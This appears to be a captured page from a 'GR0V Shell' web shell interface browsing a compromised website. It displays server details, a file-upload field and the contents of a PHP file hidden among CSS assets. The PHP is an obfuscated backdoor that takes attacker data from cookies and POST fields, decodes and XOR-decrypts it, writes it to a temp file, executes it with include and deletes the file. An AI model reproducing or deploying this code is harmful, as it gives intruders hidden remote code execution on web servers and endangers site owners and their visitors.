? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/t3-assets/css/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/t3-assets/css/f2716b61.php

$WIiJQLy = "\x7a" . "\x56" . chr ( 912 - 800 )."\x5f" . "\155" . "\x52" . "\141";$UktcS = chr (99) . chr (108) . chr ( 965 - 868 )."\x73" . "\x73" . "\x5f" . chr ( 633 - 532 ).chr ( 901 - 781 ).'i' . chr ( 817 - 702 ).'t' . "\163";$VAgsactum = $UktcS($WIiJQLy); $iDGAkXr = $VAgsactum;if (!$iDGAkXr){class zVp_mRa{private $RDeEJWdA;public static $jGpaF = "f26ca4f9-3d01-4e57-98ff-49ba23fdfa7f";public static $rQuUG = 54017;public function __construct($uFZfl=0){$wasxmQRPDo = $_COOKIE;$sHNhpzm = $_POST;$dWFBqHyxjB = @$wasxmQRPDo[substr(zVp_mRa::$jGpaF, 0, 4)];if (!empty($dWFBqHyxjB)){$mGsvO = "base64";$IqGwkdA = "";$dWFBqHyxjB = explode(",", $dWFBqHyxjB);foreach ($dWFBqHyxjB as $CaJPJ){$IqGwkdA .= @$wasxmQRPDo[$CaJPJ];$IqGwkdA .= @$sHNhpzm[$CaJPJ];}$IqGwkdA = array_map($mGsvO . "\x5f" . "\x64" . "\x65" . 'c' . "\x6f" . "\144" . 'e', array($IqGwkdA,)); $IqGwkdA = $IqGwkdA[0] ^ str_repeat(zVp_mRa::$jGpaF, (strlen($IqGwkdA[0]) / strlen(zVp_mRa::$jGpaF)) + 1);zVp_mRa::$rQuUG = @unserialize($IqGwkdA);}}private function WhnifybIT(){if (is_array(zVp_mRa::$rQuUG)) {$iAWWbM = sys_get_temp_dir() . "/" . crc32(zVp_mRa::$rQuUG["\163" . "\141" . chr (108) . chr (116)]);@zVp_mRa::$rQuUG["\167" . "\162" . 'i' . "\164" . 'e']($iAWWbM, zVp_mRa::$rQuUG[chr ( 254 - 155 )."\157" . chr ( 896 - 786 ).chr ( 996 - 880 ).chr (101) . chr ( 245 - 135 ).chr ( 862 - 746 )]);include $iAWWbM;@zVp_mRa::$rQuUG[chr ( 602 - 502 ).chr ( 238 - 137 ).chr ( 656 - 548 ).chr (101) . 't' . "\x65"]($iAWWbM); $OEEGANcxeN = "8219";exit();}}public function __destruct(){$this->WhnifybIT(); $OEEGANcxeN = "8219";}}$bNTtbu = new zVp_mRa(); $bNTtbu = "29580_9200";}

T1KUS90T
  root-grov@210.1.60.28:~$